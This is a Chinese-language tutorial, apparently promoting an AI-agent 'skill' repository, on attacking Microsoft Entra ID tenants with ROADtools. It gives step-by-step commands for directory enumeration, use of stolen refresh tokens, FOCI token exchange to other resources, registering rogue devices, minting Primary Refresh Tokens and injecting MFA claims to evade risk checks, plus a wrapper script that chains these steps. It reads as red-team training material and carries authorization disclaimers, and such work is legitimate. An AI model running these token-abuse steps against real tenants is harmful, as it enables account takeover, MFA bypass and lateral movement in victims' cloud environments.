使用 ROADtools 攻击与枚举 Microsoft Entra ID:从目录侦察到 PRT 令牌滥用完整实战指南
发布时间:2026/9/10 16:33:00 作者:尧图编辑部 阅读量:1,286

使用 ROADtools 攻击与枚举 Microsoft Entra ID从目录侦察到 PRT 令牌滥用完整实战指南【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills本指南以本仓库 skills/attacking-entra-id-with-roadtools/SKILL.md 为骨架系统讲解在获得书面授权的红队或云渗透测试中如何使用 ROADrecon 对 Microsoft Entra IDAzure AD租户进行目录枚举与离线分析并使用 roadtx 完成令牌获取、FOCI 跨资源令牌交换、设备注册与 PRTPrimary Refresh Token级 SSO 攻击。读完本文你将掌握一条从初始凭据到租户全域视野、再到跨资源横向令牌授权的完整攻击链路并能将其映射到 MITRE ATTCK 的 Discovery 与 Credential Access 战术。概述ROADtools 双组件架构ROADtools作者 Dirk-jan Mollema是面向 Microsoft Entra ID 的攻防标准工具集由两个核心组件构成分别覆盖「侦察」与「令牌操纵」两条战线ROADrecon负责认证到 Entra ID通过 Azure AD Graph API 将整个目录抓取到本地 SQLite 数据库默认roadrecon.db并提供 Angular Web GUI 离线浏览用户、组、角色、应用程序、服务主体、条件访问策略与设备对象。其插件系统可导出 BloodHound 格式数据并分析 CA 策略。roadtxROADtools Token eXchange负责获取与交换 Entra 签发的令牌覆盖 ROPC、设备代码、授权码、刷新令牌交换、应用/联合应用等多种 OAuth 流程并执行设备注册与 PRT 操作包括 PRT 级 SSO 与浏览器 cookie 铸造。其FOCIFamily of Client IDs感知能力允许将某一方第一方客户端的刷新令牌兑换为另一资源如将 Azure CLI 令牌兑换为 Microsoft Graph 令牌。两者组合覆盖了针对云身份的Discovery侦察阶段枚举租户ATTCK T1087.004 Cloud Account Discovery并获取/操纵访问 Microsoft Graph、Azure Resource Manager 及其他资源所需的令牌。ROADrecon 的离线数据库让侦察变得隐蔽且快速roadtx 则让令牌窃取、PRT 滥用与跨资源横向授权成为现实。何时使用本技能在以下授权场景中启用本技能在获得授权的 Azure / Entra ID 红队或云渗透测试期间当你已拥有立足凭据、刷新令牌或 PRT需要枚举整个租户时当需要把令牌从一个资源如 Azure CLI横向转换到另一个资源如 Microsoft Graph时当需要验证条件访问、设备合规与令牌控制是否真正约束了攻击者时当需要映射 Entra 攻击路径导出到 BloodHound 进行图分析时。⚠️授权使用声明ROADtools 会与真实的 Microsoft Entra ID 租户交互能够注册设备、铸造与交换令牌、枚举目录对象。请仅对你自己拥有或获得书面明确授权测试的租户使用。未经授权访问云租户属于违法行为。前置条件与安装开始之前需满足目标租户的书面授权与明确范围一个起始凭据用户名/密码不支持 MFA 流程、设备代码会话、刷新/访问令牌或已注册设备的 PRTPython 3.7roadtx 的 Selenium 流程需要匹配的 geckodriver/Firefox。# 核心安装roadlib 为共享依赖会自动拉取 python -m pip install roadrecon python -m pip install roadtx # 验证安装 roadrecon --help roadtx --help安装完成后建议将本技能目录下的 scripts/agent.py 加入 PATH——它是一个封装了 roadrecon/roadtx 二进制的实战编排器详见下文「编排器脚本」小节。技术目标通过合适的流程认证到 Entra IDMFA 场景优先设备代码流程使用 ROADrecon 抓取完整目录并在 GUI 中分析将目录导出到 BloodHound并运行 CA 策略分析插件使用 roadtx 获取令牌并在资源/客户端间交换刷新令牌演示 PRT 级 SSO 并记录由此获得的访问权限。MITRE ATTCK 战术映射ID战术官方技术名称在本技能中的作用T1087.004DiscoveryAccount Discovery: Cloud AccountROADrecon 枚举租户用户/账户T1069.003DiscoveryPermission Groups Discovery: Cloud GroupsROADrecon 枚举 Entra 组与角色T1538DiscoveryCloud Service DashboardGUI 探索租户配置T1550.001Defense Evasion / Lateral MovementUse Alternate Authentication Material: Application Access Tokenroadtx 跨资源刷新令牌交换T1528Credential AccessSteal Application Access Tokenroadtx PRT/令牌获取本技能同时映射到NIST CSF 2.0 的 ID.AM-03组织授权网络通信与内部/外部网络数据流的表示得以维护ROADrecon 的枚举产出了防御方必须维护、攻击方则会利用的目录/身份资产清单该演练验证了此资产面的可见性。完整的标准依据参见 references/standards.md。完整攻击工作流8 步Step 1使用 ROADrecon 认证根据你的立足点选择认证流程。设备代码流程支持 MFAROPC-u/-p不支持 MFA。# 用户名/密码传统方式不支持 MFA roadrecon auth -u usertenant.onmicrosoft.com -p Password123! # 设备代码流程支持 MFA roadrecon auth --device-code # 使用窃取的访问或刷新令牌 roadrecon auth --access-token JWT roadrecon auth --refresh-token refresh_token # 使用 PRT带会话密钥获得 SSO 级访问 roadrecon auth --prt prt --prt-sessionkey session_key认证成功会在当前工作目录写入.roadtools_auth认证状态文件。Step 2抓取目录数据# 全量抓取到 roadrecon.db默认 roadrecon gather # 包含 MFA/认证方法详情需要特权角色 roadrecon gather --mfa--mfa标志会额外抓取用户的 MFA 注册状态但这需要当前身份具备足够的目录角色权限权限不足时会失败——这本身就是一种权限检测信号。Step 3GUI 离线探索roadrecon gui # 浏览器访问 http://127.0.0.1:5000 —— 用户、组、角色、应用程序、 # 服务主体、设备与条件访问策略全部离线浏览。由于数据已本地化到 SQLite后续所有分析均不产生对租户的网络请求侦察行为隐蔽高效。Step 4运行分析插件# 分析条件访问策略 roadrecon plugin policies -h roadrecon plugin policies # 导出可被 BloodHound 导入的数据格式 roadrecon plugin bloodhound -h roadrecon plugin bloodhoundBloodHound 导出后可结合 BloodHound CE 对导出的 Entra 数据进行图分析映射身份攻击路径。条件访问策略插件则会解析各策略的授予控制、条件与排除项帮助评估 CA 是否真正构成了约束。Step 5使用 roadtx 获取令牌# ROPC为 Azure CLI 客户端获取 Microsoft Graph 令牌 roadtx gettokens -u usertenant.com -p Password123! -c azcli -r msgraph # 设备代码式交互认证Teams 客户端到 Graph roadtx interactiveauth -c msteams -r msgraph # 从现有刷新令牌获取 roadtx gettokens --refresh-token refresh_token -r msgraph令牌写入.roadtools_auth使用--tokens-stdout可直接打印到标准输出便于脚本化收集。Step 6跨资源交换刷新令牌FOCI 横向授权FOCI 机制下为某一第一方客户端获取的刷新令牌可无需重新认证即可兑换为另一资源。这是 T1550.001Use Alternate Authentication Material在云身份侧的经典落地# 将存储的刷新令牌转换为 Azure Resource Manager 令牌 roadtx refreshtokento -r azrm # 通过 Teams 客户端转换为带作用域的 Graph 令牌 roadtx refreshtokento -c msteams -r msgraph # 查找持有某作用域的第一方客户端 roadtx getscope -s https://graph.microsoft.com/mail.read --fociStep 7设备注册与 PRT 级 SSOPRT 是绑定设备的 SSO 神器roadtx 可完整复现其生命周期# 向租户注册虚拟设备 roadtx device -n redteam-device # 使用设备证书/密钥与用户凭据请求 PRT roadtx prt -u usertenant.com -p Password123! --key-pem redteam-device.key --cert-pem redteam-device.pem # 使用 PRT 为客户端认证到资源SSO 级 roadtx prtauth -c msteams -r msgraph # 为 PRT 补充交互式 MFA 声明 roadtx prtenrich -u usertenant.comprtenrich通过交互式认证为已获取的 PRT 注入 MFA 声明可显著提升令牌的信任等级绕过依赖「是否通过 MFA」判断的风险评估。Step 8检查令牌# 解码并打印指定令牌的声明 roadtx describe -t JWT # 从 .roadtools_auth 读取令牌并格式化输出 roadtx describe .roadtools_auth | jq .命令速查ROADtools 参考表完整的命令参考位于 references/api-reference.md核心要点如下ROADrecon 命令命令用途关键参数roadrecon auth认证到 Entra ID-u用户-p密码--device-code--access-token--refresh-token--prt--prt-sessionkey--prt-cookie--prt-initroadrecon gather抓取目录到 roadrecon.db--mfa需要特权角色roadrecon gui启动 Angular GUIhttp://127.0.0.1:5000—roadrecon plugin policies分析条件访问策略-f文件-proadrecon plugin bloodhound导出 BloodHound 格式—认证状态存于.roadtools_auth目录数据存于roadrecon.db。roadtx 令牌获取命令用途关键参数roadtx gettokens获取令牌ROPC / 刷新-u-p-c客户端-r资源-s作用域--refresh-token--cae--tokens-stdoutroadtx interactiveauth交互式浏览器认证-u-p-c-r-ru重定向 URLroadtx codeauth用授权码交换令牌—roadtx refreshtokento将存储的 RT 转换为另一资源-r-s-croadtx appauth应用客户端凭据认证-c-p密钥-t租户-r-s--cert-pem--key-pem--cert-pfx--pfx-passroadtx federatedappauth联合应用认证工作负载身份-c--cert-pem--key-pem--subject-t--issuer-s--kidroadtx 设备与 PRT命令用途关键参数roadtx device注册/删除设备-n名称-a动作-c证书-k密钥roadtx hybriddevice注册混合加入设备—roadtx prt请求/续期 PRT-u-p--key-pem--cert-pem-a动作-r刷新令牌roadtx prtauth使用 PRT 认证客户端-c-r-fPRT 文件--prt--prt-sessionkey--tokens-stdoutroadtx browserprtauth使用 PRT 进行浏览器认证-url-c-r-froadtx browserprtinject注入 PRT 合规声明-u-r-croadtx prtenrich为 PRT 添加 MFA 声明-uroadtx prtcookie从 PRT 铸造浏览器 cookie—roadtx 实用工具命令用途关键参数roadtx describe解码令牌声明-t令牌或从 stdinroadtx decrypt解密 JWE 令牌—roadtx getscope查找持有某作用域的客户端-s--fociroadtx getotp从种子生成 TOTPseedroadtx listaliases列出客户端/资源别名—roadtx keepassauth从 KeePass 进行 Selenium 认证-c-u-kp-kpp-url--keep-openroadtx sharepointlogin认证到 SharePoint/OneDrivetoken--host常用客户端-c与资源-r别名客户端azcli、msteams、msgraph作为客户端时、office、broker资源msgraph、azrm、aadgraph、devicereg。完整列表用roadtx listaliases查看。源码级佐证编排器脚本的调用链本技能目录下的 scripts/agent.py 用不到 150 行代码封装了上述完整工作流是从代码层面理解各命令真实调用关系的绝佳样本。其子命令设计直接对应工作流阶段recon子命令先执行roadrecon authagent.py认证参数按优先级解析——--device-code优先其次--access-token、--refresh-token最后回退到-u/-p见auth_args函数agent.py认证成功后按标志链式调用roadrecon gather [--mfa]、roadrecon plugin bloodhound、roadrecon plugin policies。这印证了 SKILL.md 中「先 auth、再 gather、后 plugin」的固定时序。tokens子命令构造roadtx gettokens命令agent.py默认客户端azcli、默认资源msgraph与 Step 5 的命令行示例完全一致。pivot子命令调用roadtx refreshtokento -r resourceagent.py即 Step 6 的 FOCI 横向授权。describe子命令读取本地.roadtools_auth并通过 stdin 管道给roadtx describeagent.py与 Step 8 的管道用法等价同时佐证了.roadtools_auth是令牌状态的统一存储介质。实际使用示例python agent.py recon --device-code --gather --bloodhound python agent.py recon -u usertenant.com -p Pass! --gather python agent.py tokens -u usertenant.com -p Pass! -c azcli -r msgraph python agent.py pivot -r azrm # 将存储的 RT 交换为 ARM python agent.py describe # 解码 .roadtools_auth 令牌该脚本同时是理解底层工具依赖关系的好入口require()函数会在roadrecon/roadtx不在 PATH 时给出明确的安装提示pip install roadrecon roadtx而run()的统一 stderr 日志输出[]前缀也方便红队回放每一步真实执行的命令。验证清单完成一次完整演练后用以下清单确认成果通过授权流程认证到目标租户生成.roadtools_auth目录抓取到roadrecon.db角色允许时加--mfaGUI 已探索审查了用户、组、角色、应用与 CA 策略CA 策略与 BloodHound 插件已执行数据已导出使用 roadtx 为至少一个资源获取了令牌已演示将刷新令牌交换到第二个资源FOCI 横向授权在范围内时已注册设备并演示 PRT 级 SSO使用roadtx describe检查了令牌声明已为报告文档记录发现与访问权限。工具与资源工具用途ROADtools仓库工具集总览与 wikiROADrecon wikiauth/gather/gui/plugin 用法roadtx wiki令牌交换 PRT/设备流程BloodHound CE对导出的 Entra 数据进行图分析Microsoft identity platform令牌/流程参考OAuth 2.0 / OIDC相关标准背景可参考 references/standards.mdroadtx 所实践的授权码、ROPC、设备代码与刷新令牌流程由 Microsoft identity platformOAuth 2.0 / OIDC定义FOCI 是微软第一方客户端家族支持跨客户端刷新令牌兑换PRT 则是本技能通过roadtx prt/prtauth滥用的设备绑定 SSO 神器。结语ROADtools 将「云身份侦察」与「令牌攻击」两个阶段无缝衔接ROADrecon 负责把整个租户目录拉取为可离线分析的资产全景roadtx 则把获得的任意令牌转化为跨越 Graph、ARM 等多资源的横向移动能力而 PRT 流程更是直达设备级 SSO 信任链。本文的每一步命令、每一个参数、每一条 ATTCK 映射均可在本仓库 SKILL.md、api-reference.md 与 agent.py 中找到对应依据。请始终在书面授权范围内使用这些能力并将发现完整记录进渗透测试报告帮助组织认清并收敛自身的云身份攻击面。【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考